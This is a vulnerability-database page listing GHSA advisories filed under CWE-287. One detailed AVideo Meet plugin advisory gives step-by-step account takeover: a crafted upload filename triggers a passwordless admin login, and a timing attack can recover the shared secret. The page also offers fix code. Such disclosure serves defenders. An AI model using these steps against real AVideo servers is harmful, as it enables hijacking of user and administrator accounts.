Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6040 vulnerabilities reference this CWE, most recent first.

GHSA-QX89-46X3-PWHF

Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2022-05-24 17:03
VLAI
Details

A vulnerability has been identified in SPPA-T3000 Application Server (All versions). An attacker with network access to the Application Server could gain remote code execution by sending specifically crafted objects via RMI. Please note that an attacker needs to have network access to the Application Server in order to exploit this vulnerability. At the time of advisory publication no public exploitation of this security vulnerability was known.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-18314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-12T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SPPA-T3000 Application Server (All versions). An attacker with network access to the Application Server could gain remote code execution by sending specifically crafted objects via RMI. Please note that an attacker needs to have network access to the Application Server in order to exploit this vulnerability. At the time of advisory publication no public exploitation of this security vulnerability was known.",
  "id": "GHSA-qx89-46x3-pwhf",
  "modified": "2022-05-24T17:03:26Z",
  "published": "2022-05-24T17:03:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18314"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-451445.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QXHP-MP7H-VG86

Vulnerability from github – Published: 2022-03-04 00:00 – Updated: 2022-03-17 00:03
VLAI
Details

The biometric lock in Devolutions Password Hub for iOS before 2021.3.4 allows attackers to access the application because of authentication bypass. An attacker must rapidly make failed biometric authentication attempts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-23849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-03T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The biometric lock in Devolutions Password Hub for iOS before 2021.3.4 allows attackers to access the application because of authentication bypass. An attacker must rapidly make failed biometric authentication attempts.",
  "id": "GHSA-qxhp-mp7h-vg86",
  "modified": "2022-03-17T00:03:49Z",
  "published": "2022-03-04T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23849"
    },
    {
      "type": "WEB",
      "url": "https://devolutions.net/security/advisories"
    },
    {
      "type": "WEB",
      "url": "https://devolutions.net/security/advisories/DEVO-2022-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QXJQ-Q2R2-CCG4

Vulnerability from github – Published: 2022-05-01 23:30 – Updated: 2022-05-01 23:30
VLAI
Details

Web Wiz RTE_file_browser.asp in, as used in Web Wiz Rich Text Editor 4.0, Web Wiz Forums 9.07, and Web Wiz Newspad 1.02, does not require authentication, which allows remote attackers to list directories and read files. NOTE: this can be leveraged for listings outside the configured directory tree by exploiting a separate directory traversal vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-0466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-01-29T00:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Web Wiz RTE_file_browser.asp in, as used in Web Wiz Rich Text Editor 4.0, Web Wiz Forums 9.07, and Web Wiz Newspad 1.02, does not require authentication, which allows remote attackers to list directories and read files.  NOTE: this can be leveraged for listings outside the configured directory tree by exploiting a separate directory traversal vulnerability.",
  "id": "GHSA-qxjq-q2r2-ccg4",
  "modified": "2022-05-01T23:30:34Z",
  "published": "2022-05-01T23:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0466"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4970"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4971"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3584"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1019267"
    },
    {
      "type": "WEB",
      "url": "http://www.bugreport.ir/?/29"
    },
    {
      "type": "WEB",
      "url": "http://www.bugreport.ir/?/31"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/486866/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/486868/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27419"
    },
    {
      "type": "WEB",
      "url": "http://www.webwizguide.com/webwizrichtexteditor/kb/release_notes.asp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QXPR-MR57-HXQ9

Vulnerability from github – Published: 2022-05-17 04:44 – Updated: 2022-05-17 04:44
VLAI
Details

Cisco Adaptive Security Appliance (ASA) Software allows remote authenticated users to read files by sending a crafted URL to the HTTP server, as demonstrated by reading the running configuration, aka Bug ID CSCun78551.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-2181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-07T10:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cisco Adaptive Security Appliance (ASA) Software allows remote authenticated users to read files by sending a crafted URL to the HTTP server, as demonstrated by reading the running configuration, aka Bug ID CSCun78551.",
  "id": "GHSA-qxpr-mr57-hxq9",
  "modified": "2022-05-17T04:44:46Z",
  "published": "2022-05-17T04:44:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2181"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2014-2181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QXQF-752W-278R

Vulnerability from github – Published: 2023-04-18 00:32 – Updated: 2024-04-04 03:31
VLAI
Details

An Improper Authorization vulnerability in the 'sysmanctl' shell command of Juniper Networks Junos OS Evolved allows a local, authenticated attacker to execute administrative commands that could impact the integrity of the system or system availability. Administrative functions such as daemon restarting, routing engine (RE) switchover, and node shutdown can all be performed through exploitation of the 'sysmanctl' command. Access to the 'sysmanctl' command is only available from the Junos shell. Neither direct nor indirect access to 'sysmanctl' is available from the Junos CLI. This issue affects Juniper Networks Junos OS Evolved: All versions prior to 20.4R3-S5-EVO; 21.2 versions prior to 21.2R3-EVO; 21.3 versions prior to 21.3R2-EVO; 21.4 versions prior to 21.4R1-S2-EVO, 21.4R2-EVO.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28973"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-17T22:15:09Z",
    "severity": "HIGH"
  },
  "details": "An Improper Authorization vulnerability in the \u0027sysmanctl\u0027 shell command of Juniper Networks Junos OS Evolved allows a local, authenticated attacker to execute administrative commands that could impact the integrity of the system or system availability. Administrative functions such as daemon restarting, routing engine (RE) switchover, and node shutdown can all be performed through exploitation of the \u0027sysmanctl\u0027 command. Access to the \u0027sysmanctl\u0027 command is only available from the Junos shell. Neither direct nor indirect access to \u0027sysmanctl\u0027 is available from the Junos CLI. This issue affects Juniper Networks Junos OS Evolved: All versions prior to 20.4R3-S5-EVO; 21.2 versions prior to 21.2R3-EVO; 21.3 versions prior to 21.3R2-EVO; 21.4 versions prior to 21.4R1-S2-EVO, 21.4R2-EVO.",
  "id": "GHSA-qxqf-752w-278r",
  "modified": "2024-04-04T03:31:34Z",
  "published": "2023-04-18T00:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28973"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA70597"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QXVM-R42F-5P8J

Vulnerability from github – Published: 2026-05-15 18:17 – Updated: 2026-05-15 18:17
VLAI
Summary
AVideo's Meet plugin: `uploadRecordedVideo.json.php` derives `users_id` from the uploaded filename and calls passwordless `User->login()`, allowing any caller with the Meet shared secret to obtain a session as arbitrary users including admin
Details

Summary

Type: Authorization-bypass via user-controlled identifier. The Meet plugin's recorded-video upload endpoint (plugin/Meet/uploadRecordedVideo.json.php) authenticates the caller using a single shared Authorization: Bearer <secret> against $objM->secret. Once that check passes, the endpoint reads the target user identifier from the uploaded file's name field, instantiates a User object with that ID, and calls $userObject->login(true, true) — the no-password / encoded-password login path — committing a session for that user and emitting Set-Cookie headers to the caller. There is no check that the caller actually owns the requested users_id. File: plugin/Meet/uploadRecordedVideo.json.php, lines 56-65; secondary in objects/user.php User::login() (no-password branch at lines 1276-1310). Root cause: the upload handler's identity model is "service-to-service" (a Meet/Jitsi recorder posts a finished recording back to AVideo with the shared secret) but the users_id to credit the upload to is parsed from the FILENAME the same caller controls — $users_id = explode('-', $_FILES['upl']['name'])[0];. There is no signed claim, no separate proof-of-identity, no allowlist. The subsequent $userObject->login(true, true) call invokes the no-password login path which sets $_SESSION['user'], calls setUserCookie(...), and _session_regenerate_id() — exactly the operations a normal login performs. The response carries the new PHPSESSID back to the caller, who can then reuse it on every subsequent request to act as the targeted user. The Meet shared secret is md5($global['systemRootPath'] . $global['salt'] . "meet") (Meet.php:73), so any attacker who can read videos/configuration.php (e.g., via a path-traversal CVE such as GHSA-83xq-8jxj-4rxm or GHSA-4wmm-6qxj-fpj4 that the project has already addressed in this surface area) can compute the Meet secret deterministically and pivot to full account takeover.

Affected Code

File: plugin/Meet/uploadRecordedVideo.json.php, lines 33-73.

if (empty($token)) {
    forbiddenPage('Token not found');
}

$objM = AVideoPlugin::getObjectDataIfEnabled("Meet");
if (empty($objM)) {
    forbiddenPage('Plugin disabled');
}

if ($objM->secret != $token) {                              // <-- shared-secret auth, no per-user proof
    forbiddenPage('Token does not match');
}

if (empty($_FILES['upl'])) {
    forbiddenPage('videoFile not found');
}

$users_id = explode('-', $_FILES['upl']['name'])[0];        // <-- BUG: target users_id parsed from attacker-controlled filename

$userObject = new User($users_id);
$userObject->login(true, true);                             // <-- BUG: passwordless login as the chosen user; sets $_SESSION + Set-Cookie
$tmpFile = getTmpDir() . uniqid();

if (move_uploaded_file($_FILES['upl']['tmp_name'], $tmpFile)) {
    $_FILES['upl']['tmp_name'] = $tmpFile;
    require $global['systemRootPath'] . 'objects/aVideoQueueEncoder.json.php';
}

File: objects/user.php, lines 1249-1329 (User::login() no-password branch).

public function login($noPass = false, $encodedPass = false, $ignoreEmailVerification = false)
{
    // ...
    if ($noPass) {
        $user = $this->find($this->user, false, true);      // <-- no password check
    }
    // ...
    } elseif ($user) {
        $_SESSION['user'] = $user;                          // <-- session set for the impersonated user
        $this->setLastLogin($_SESSION['user']['id']);
        // ...
        self::setUserCookie($rememberme, $user['id'], $user['user'], $passhash, $expires);
        AVideoPlugin::onUserSignIn($_SESSION['user']['id']);
        $_SESSION['loginAttempts'] = 0;
        _session_regenerate_id();                           // <-- new SID committed in Set-Cookie response
        _session_write_close();
        return self::USER_LOGGED;
    }
}

Why it's wrong: the endpoint conflates two distinct authentication concerns. The shared-secret check answers "is this request coming from a trusted Meet recorder?" but the filename parse answers "which user does this recording belong to?" — and the second answer is taken from the same untrusted caller. Once User->login(true, true) runs, the server has no way to distinguish a legitimate Meet integration from an attacker who happens to know the same secret. The decision to expose this as a session (cookie + _session_regenerate_id) rather than as a one-shot in-process credit makes the impact larger than it needs to be: even if the Meet integration only needed to credit the recording to a user, the implementation gives the caller a fully-authenticated session as that user.

Exploit Chain

  1. Attacker obtains the Meet shared secret. Two plausible paths:
  2. Path A (computational): the secret is md5($global['systemRootPath'] . $global['salt'] . "meet") (plugin/Meet/Meet.php:73). Both inputs sit in videos/configuration.php. AVideo's history of LFI/path-traversal CVEs in this surface (e.g., the import.json.php and listFiles.json.php advisories already accepted on this program) means the salt is a realistic disclosure target.
  3. Path B (timing oracle): plugin/Meet/checkToken.json.php line 26 does if ($objM->secret === $_GET['secret']) with no constant-time comparison and a clear yes/no response body. PHP's === for strings short-circuits on first byte mismatch, so an attacker on the same network segment can recover the 32-hex secret byte-by-byte over the network with timing analysis. Slower than path A but doesn't depend on a separate vulnerability.
  4. Attacker prepares an HTTP POST to /plugin/Meet/uploadRecordedVideo.json.php:
  5. Authorization: Bearer <Meet secret>
  6. Multipart body with one file field named upl. The filename is set to 1-anything.mp4 (where 1 is the users_id of the admin or any target user — the format is <users_id>-<arbitrary>). The file body itself can be anything that survives the surrounding aVideoQueueEncoder pipeline (an empty file is enough to reach the login call before the encoder rejects).
  7. Server flow:
  8. Line 33: token present, ok.
  9. Line 46: $objM->secret != $token → false (matches), passes.
  10. Line 51: $_FILES['upl'] present, ok.
  11. Line 56: $users_id = explode('-', '1-anything.mp4')[0]'1'.
  12. Line 59-60: $userObject = new User(1); $userObject->login(true, true); — passwordless login as user 1 (admin). $_SESSION['user'] is set, setUserCookie runs, _session_regenerate_id issues a new session ID, and the response carries Set-Cookie: PHPSESSID=<new-sid>; ....
  13. Subsequent code runs the encoder pipeline as admin — but the attacker's primary goal was already achieved when the session was established.
  14. Attacker captures the Set-Cookie: PHPSESSID=... header from the response and uses that cookie on all subsequent requests. Server treats them as user 1 (admin) — full UI access, all admin endpoints, all video management, plugin configuration, user impersonation, etc.
  15. Final state: admin account takeover. The original Meet recorder's flow (legitimate uploads with users_id = the user who scheduled the meeting) is indistinguishable on the wire from the attack flow (users_id = whoever the attacker wants to be).

Security Impact

Severity: sec-high. End state is full account takeover of any user (including admin), reachable from a single HTTP POST once the secret is known. The shared-secret precondition raises AC to High but does not eliminate it as a credible threat — the secret is computable from any leak of videos/configuration.php, and AVideo's CVE history in that surface area is non-trivial. Attacker capability: session hijack as any users_id the attacker cares to name. The attacker chooses the target by setting the filename's leading digits before the first -. No bound on which user IDs are reachable; admin (1 on a default install) is the obvious target. Once the session is captured, the attacker has full admin UI/API access for the session lifetime (hours-to-days depending on rememberme flag). Preconditions: Meet plugin enabled (default-off but commonly enabled by deployments using AVideo for video-conferencing recording). Knowledge of the Meet shared secret (computable from the salt; obtainable via timing attack on checkToken.json.php). Differential: source-inspection-verified end-to-end. The two relevant code blocks are quoted verbatim in §Affected Code; both lines are reachable on every successful POST to the endpoint. The patched build (with the suggested fix below) either rejects the upload as 'cannot derive identity from filename' or constrains the users_id to one bound by an additional signed claim from the Meet recorder.

Suggested Fix

Three changes, in order of importance:

--- a/plugin/Meet/uploadRecordedVideo.json.php
+++ b/plugin/Meet/uploadRecordedVideo.json.php
@@ -53,17 +53,28 @@ if (empty($_FILES['upl'])) {
     forbiddenPage('videoFile not found');
 }

-$users_id = explode('-', $_FILES['upl']['name'])[0];
+// The users_id MUST come from a signed claim (e.g., a JWT issued by AVideo
+// when the meeting was scheduled), not from a filename the caller controls.
+// Verify a recording-upload token here that was minted at meeting-create
+// time and bound to (meet_schedule_id, users_id) with an HMAC.
+$claim = MeetUploadClaim::verifyFromHeaders($headers);
+if (!$claim) {
+    forbiddenPage('Missing or invalid recording upload claim');
+}
+$users_id = (int) $claim->users_id;
+if (!$users_id || !User::idExists($users_id)) {
+    forbiddenPage('Recording upload claim references unknown user');
+}

-$userObject = new User($users_id);
-$userObject->login(true, true);
+// Credit the upload to $users_id WITHOUT establishing a session. The encoder
+// pipeline can be parameterised to record ownership directly; there is no
+// reason for a service-to-service upload endpoint to mint a user session.
+$queueOwnerUsersId = $users_id;
 $tmpFile = getTmpDir() . uniqid();

 if (move_uploaded_file($_FILES['upl']['tmp_name'], $tmpFile)) {
     $_FILES['upl']['tmp_name'] = $tmpFile;
-    require $global['systemRootPath'] . 'objects/aVideoQueueEncoder.json.php';
+    aVideoQueueEncoder::encodeOnBehalfOf($queueOwnerUsersId, $_FILES['upl']);
 }

Additionally:

  1. Use hash_equals for the secret comparison in both this endpoint and checkToken.json.php (if (!hash_equals($objM->secret, $token))). The current ==/=== is vulnerable to byte-by-byte timing analysis.
  2. Remove checkToken.json.php entirely, or at least gate it behind User::isAdmin(). A network-reachable endpoint that confirms whether a guess matches the server-side secret is exactly the wrong shape for a high-value secret like this one.

Optional defense-in-depth (separate change): rotate the Meet secret to use a random 256-bit value (not derived from salt), so a videos/configuration.php disclosure does not also yield the Meet secret. Store the random secret as a per-deployment row in the Meet plugin's configuration table, generated at first-run.

Add a regression test: call uploadRecordedVideo.json.php with the correct secret but a filename of 1-x.mp4; assert the response does NOT include a Set-Cookie: PHPSESSID= header.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "WWBN/AVideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1390",
      "CWE-287",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T18:17:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**Type:** Authorization-bypass via user-controlled identifier. The Meet plugin\u0027s recorded-video upload endpoint (`plugin/Meet/uploadRecordedVideo.json.php`) authenticates the caller using a single shared `Authorization: Bearer \u003csecret\u003e` against `$objM-\u003esecret`. Once that check passes, the endpoint reads the *target user identifier* from the uploaded file\u0027s `name` field, instantiates a `User` object with that ID, and calls `$userObject-\u003elogin(true, true)` \u2014 the no-password / encoded-password login path \u2014 committing a session for that user and emitting `Set-Cookie` headers to the caller. There is no check that the caller actually owns the requested `users_id`.\n**File:** `plugin/Meet/uploadRecordedVideo.json.php`, lines 56-65; secondary in `objects/user.php` `User::login()` (no-password branch at lines 1276-1310).\n**Root cause:** the upload handler\u0027s identity model is \"service-to-service\" (a Meet/Jitsi recorder posts a finished recording back to AVideo with the shared secret) but the `users_id` to credit the upload to is parsed from the FILENAME the same caller controls \u2014 `$users_id = explode(\u0027-\u0027, $_FILES[\u0027upl\u0027][\u0027name\u0027])[0];`. There is no signed claim, no separate proof-of-identity, no allowlist. The subsequent `$userObject-\u003elogin(true, true)` call invokes the no-password login path which sets `$_SESSION[\u0027user\u0027]`, calls `setUserCookie(...)`, and `_session_regenerate_id()` \u2014 exactly the operations a normal login performs. The response carries the new `PHPSESSID` back to the caller, who can then reuse it on every subsequent request to act as the targeted user. The Meet shared secret is `md5($global[\u0027systemRootPath\u0027] . $global[\u0027salt\u0027] . \"meet\")` (`Meet.php:73`), so any attacker who can read `videos/configuration.php` (e.g., via a path-traversal CVE such as `GHSA-83xq-8jxj-4rxm` or `GHSA-4wmm-6qxj-fpj4` that the project has already addressed in this surface area) can compute the Meet secret deterministically and pivot to full account takeover.\n\n## Affected Code\n\n**File:** `plugin/Meet/uploadRecordedVideo.json.php`, lines 33-73.\n\n```php\nif (empty($token)) {\n    forbiddenPage(\u0027Token not found\u0027);\n}\n\n$objM = AVideoPlugin::getObjectDataIfEnabled(\"Meet\");\nif (empty($objM)) {\n    forbiddenPage(\u0027Plugin disabled\u0027);\n}\n\nif ($objM-\u003esecret != $token) {                              // \u003c-- shared-secret auth, no per-user proof\n    forbiddenPage(\u0027Token does not match\u0027);\n}\n\nif (empty($_FILES[\u0027upl\u0027])) {\n    forbiddenPage(\u0027videoFile not found\u0027);\n}\n\n$users_id = explode(\u0027-\u0027, $_FILES[\u0027upl\u0027][\u0027name\u0027])[0];        // \u003c-- BUG: target users_id parsed from attacker-controlled filename\n\n$userObject = new User($users_id);\n$userObject-\u003elogin(true, true);                             // \u003c-- BUG: passwordless login as the chosen user; sets $_SESSION + Set-Cookie\n$tmpFile = getTmpDir() . uniqid();\n\nif (move_uploaded_file($_FILES[\u0027upl\u0027][\u0027tmp_name\u0027], $tmpFile)) {\n    $_FILES[\u0027upl\u0027][\u0027tmp_name\u0027] = $tmpFile;\n    require $global[\u0027systemRootPath\u0027] . \u0027objects/aVideoQueueEncoder.json.php\u0027;\n}\n```\n\n**File:** `objects/user.php`, lines 1249-1329 (`User::login()` no-password branch).\n\n```php\npublic function login($noPass = false, $encodedPass = false, $ignoreEmailVerification = false)\n{\n    // ...\n    if ($noPass) {\n        $user = $this-\u003efind($this-\u003euser, false, true);      // \u003c-- no password check\n    }\n    // ...\n    } elseif ($user) {\n        $_SESSION[\u0027user\u0027] = $user;                          // \u003c-- session set for the impersonated user\n        $this-\u003esetLastLogin($_SESSION[\u0027user\u0027][\u0027id\u0027]);\n        // ...\n        self::setUserCookie($rememberme, $user[\u0027id\u0027], $user[\u0027user\u0027], $passhash, $expires);\n        AVideoPlugin::onUserSignIn($_SESSION[\u0027user\u0027][\u0027id\u0027]);\n        $_SESSION[\u0027loginAttempts\u0027] = 0;\n        _session_regenerate_id();                           // \u003c-- new SID committed in Set-Cookie response\n        _session_write_close();\n        return self::USER_LOGGED;\n    }\n}\n```\n\n**Why it\u0027s wrong:** the endpoint conflates two distinct authentication concerns. The shared-secret check answers \"is this request coming from a trusted Meet recorder?\" but the filename parse answers \"which user does this recording belong to?\" \u2014 and the second answer is taken from the same untrusted caller. Once `User-\u003elogin(true, true)` runs, the server has no way to distinguish a legitimate Meet integration from an attacker who happens to know the same secret. The decision to expose this as a session (cookie + `_session_regenerate_id`) rather than as a one-shot in-process credit makes the impact larger than it needs to be: even if the Meet integration only needed to *credit* the recording to a user, the implementation gives the caller a fully-authenticated session as that user.\n\n## Exploit Chain\n\n1. Attacker obtains the Meet shared secret. Two plausible paths:\n   - **Path A** (computational): the secret is `md5($global[\u0027systemRootPath\u0027] . $global[\u0027salt\u0027] . \"meet\")` (`plugin/Meet/Meet.php:73`). Both inputs sit in `videos/configuration.php`. AVideo\u0027s history of LFI/path-traversal CVEs in this surface (e.g., the `import.json.php` and `listFiles.json.php` advisories already accepted on this program) means the salt is a realistic disclosure target.\n   - **Path B** (timing oracle): `plugin/Meet/checkToken.json.php` line 26 does `if ($objM-\u003esecret === $_GET[\u0027secret\u0027])` with no constant-time comparison and a clear yes/no response body. PHP\u0027s `===` for strings short-circuits on first byte mismatch, so an attacker on the same network segment can recover the 32-hex secret byte-by-byte over the network with timing analysis. Slower than path A but doesn\u0027t depend on a separate vulnerability.\n2. Attacker prepares an HTTP POST to `/plugin/Meet/uploadRecordedVideo.json.php`:\n   - `Authorization: Bearer \u003cMeet secret\u003e`\n   - Multipart body with one file field named `upl`. The filename is set to `1-anything.mp4` (where `1` is the `users_id` of the admin or any target user \u2014 the format is `\u003cusers_id\u003e-\u003carbitrary\u003e`). The file body itself can be anything that survives the surrounding aVideoQueueEncoder pipeline (an empty file is enough to reach the login call before the encoder rejects).\n3. Server flow:\n   - Line 33: token present, ok.\n   - Line 46: `$objM-\u003esecret != $token` \u2192 false (matches), passes.\n   - Line 51: `$_FILES[\u0027upl\u0027]` present, ok.\n   - Line 56: `$users_id = explode(\u0027-\u0027, \u00271-anything.mp4\u0027)[0]` \u2192 `\u00271\u0027`.\n   - Line 59-60: `$userObject = new User(1); $userObject-\u003elogin(true, true);` \u2014 passwordless login as user 1 (admin). `$_SESSION[\u0027user\u0027]` is set, `setUserCookie` runs, `_session_regenerate_id` issues a new session ID, and the response carries `Set-Cookie: PHPSESSID=\u003cnew-sid\u003e; ...`.\n   - Subsequent code runs the encoder pipeline as admin \u2014 but the attacker\u0027s primary goal was already achieved when the session was established.\n4. Attacker captures the `Set-Cookie: PHPSESSID=...` header from the response and uses that cookie on all subsequent requests. Server treats them as user 1 (admin) \u2014 full UI access, all admin endpoints, all video management, plugin configuration, user impersonation, etc.\n5. Final state: admin account takeover. The original Meet recorder\u0027s flow (legitimate uploads with `users_id` = the user who scheduled the meeting) is indistinguishable on the wire from the attack flow (`users_id` = whoever the attacker wants to be).\n\n## Security Impact\n\n**Severity:** sec-high. End state is full account takeover of any user (including admin), reachable from a single HTTP POST once the secret is known. The shared-secret precondition raises AC to High but does not eliminate it as a credible threat \u2014 the secret is computable from any leak of `videos/configuration.php`, and AVideo\u0027s CVE history in that surface area is non-trivial.\n**Attacker capability:** session hijack as any `users_id` the attacker cares to name. The attacker chooses the target by setting the filename\u0027s leading digits before the first `-`. No bound on which user IDs are reachable; admin (`1` on a default install) is the obvious target. Once the session is captured, the attacker has full admin UI/API access for the session lifetime (hours-to-days depending on `rememberme` flag).\n**Preconditions:** Meet plugin enabled (default-off but commonly enabled by deployments using AVideo for video-conferencing recording). Knowledge of the Meet shared secret (computable from the salt; obtainable via timing attack on `checkToken.json.php`).\n**Differential:** source-inspection-verified end-to-end. The two relevant code blocks are quoted verbatim in \u00a7Affected Code; both lines are reachable on every successful POST to the endpoint. The patched build (with the suggested fix below) either rejects the upload as `\u0027cannot derive identity from filename\u0027` or constrains the `users_id` to one bound by an additional signed claim from the Meet recorder.\n\n## Suggested Fix\n\nThree changes, in order of importance:\n\n```diff\n--- a/plugin/Meet/uploadRecordedVideo.json.php\n+++ b/plugin/Meet/uploadRecordedVideo.json.php\n@@ -53,17 +53,28 @@ if (empty($_FILES[\u0027upl\u0027])) {\n     forbiddenPage(\u0027videoFile not found\u0027);\n }\n\n-$users_id = explode(\u0027-\u0027, $_FILES[\u0027upl\u0027][\u0027name\u0027])[0];\n+// The users_id MUST come from a signed claim (e.g., a JWT issued by AVideo\n+// when the meeting was scheduled), not from a filename the caller controls.\n+// Verify a recording-upload token here that was minted at meeting-create\n+// time and bound to (meet_schedule_id, users_id) with an HMAC.\n+$claim = MeetUploadClaim::verifyFromHeaders($headers);\n+if (!$claim) {\n+    forbiddenPage(\u0027Missing or invalid recording upload claim\u0027);\n+}\n+$users_id = (int) $claim-\u003eusers_id;\n+if (!$users_id || !User::idExists($users_id)) {\n+    forbiddenPage(\u0027Recording upload claim references unknown user\u0027);\n+}\n\n-$userObject = new User($users_id);\n-$userObject-\u003elogin(true, true);\n+// Credit the upload to $users_id WITHOUT establishing a session. The encoder\n+// pipeline can be parameterised to record ownership directly; there is no\n+// reason for a service-to-service upload endpoint to mint a user session.\n+$queueOwnerUsersId = $users_id;\n $tmpFile = getTmpDir() . uniqid();\n\n if (move_uploaded_file($_FILES[\u0027upl\u0027][\u0027tmp_name\u0027], $tmpFile)) {\n     $_FILES[\u0027upl\u0027][\u0027tmp_name\u0027] = $tmpFile;\n-    require $global[\u0027systemRootPath\u0027] . \u0027objects/aVideoQueueEncoder.json.php\u0027;\n+    aVideoQueueEncoder::encodeOnBehalfOf($queueOwnerUsersId, $_FILES[\u0027upl\u0027]);\n }\n```\n\nAdditionally:\n\n1. **Use `hash_equals` for the secret comparison** in both this endpoint and `checkToken.json.php` (`if (!hash_equals($objM-\u003esecret, $token))`). The current `==`/`===` is vulnerable to byte-by-byte timing analysis.\n2. **Remove `checkToken.json.php` entirely**, or at least gate it behind `User::isAdmin()`. A network-reachable endpoint that confirms whether a guess matches the server-side secret is exactly the wrong shape for a high-value secret like this one.\n\nOptional defense-in-depth (separate change): rotate the Meet secret to use a random 256-bit value (not derived from `salt`), so a `videos/configuration.php` disclosure does not also yield the Meet secret. Store the random secret as a per-deployment row in the Meet plugin\u0027s configuration table, generated at first-run.\n\nAdd a regression test: call `uploadRecordedVideo.json.php` with the correct secret but a filename of `1-x.mp4`; assert the response does NOT include a `Set-Cookie: PHPSESSID=` header.",
  "id": "GHSA-qxvm-r42f-5p8j",
  "modified": "2026-05-15T18:17:19Z",
  "published": "2026-05-15T18:17:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qxvm-r42f-5p8j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo\u0027s Meet plugin: `uploadRecordedVideo.json.php` derives `users_id` from the uploaded filename and calls passwordless `User-\u003elogin()`, allowing any caller with the Meet shared secret to obtain a session as arbitrary users including admin"
}

GHSA-QXX8-292G-2W66

Vulnerability from github – Published: 2021-03-08 15:50 – Updated: 2021-03-08 15:48
VLAI
Summary
Improper Authentication
Details

Impact

A maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an an attacker to have internal knowledge of the bot.

Patches

The problem has been patched in all affected versions. Please see the list of patched versions for the most appropriate one for your individual case.

Workarounds

Users who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator which throws an exception if the Claims are Skill Claims.

For detailed instructions, see the link in the References section.

For more information

If you have any questions or comments about this advisory: * Open an issue in Microsoft Bot Builder SDK * Email us at bf-reports@microsoft.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Bot.Connector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.0"
            },
            {
              "fixed": "4.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Bot.Connector"
      },
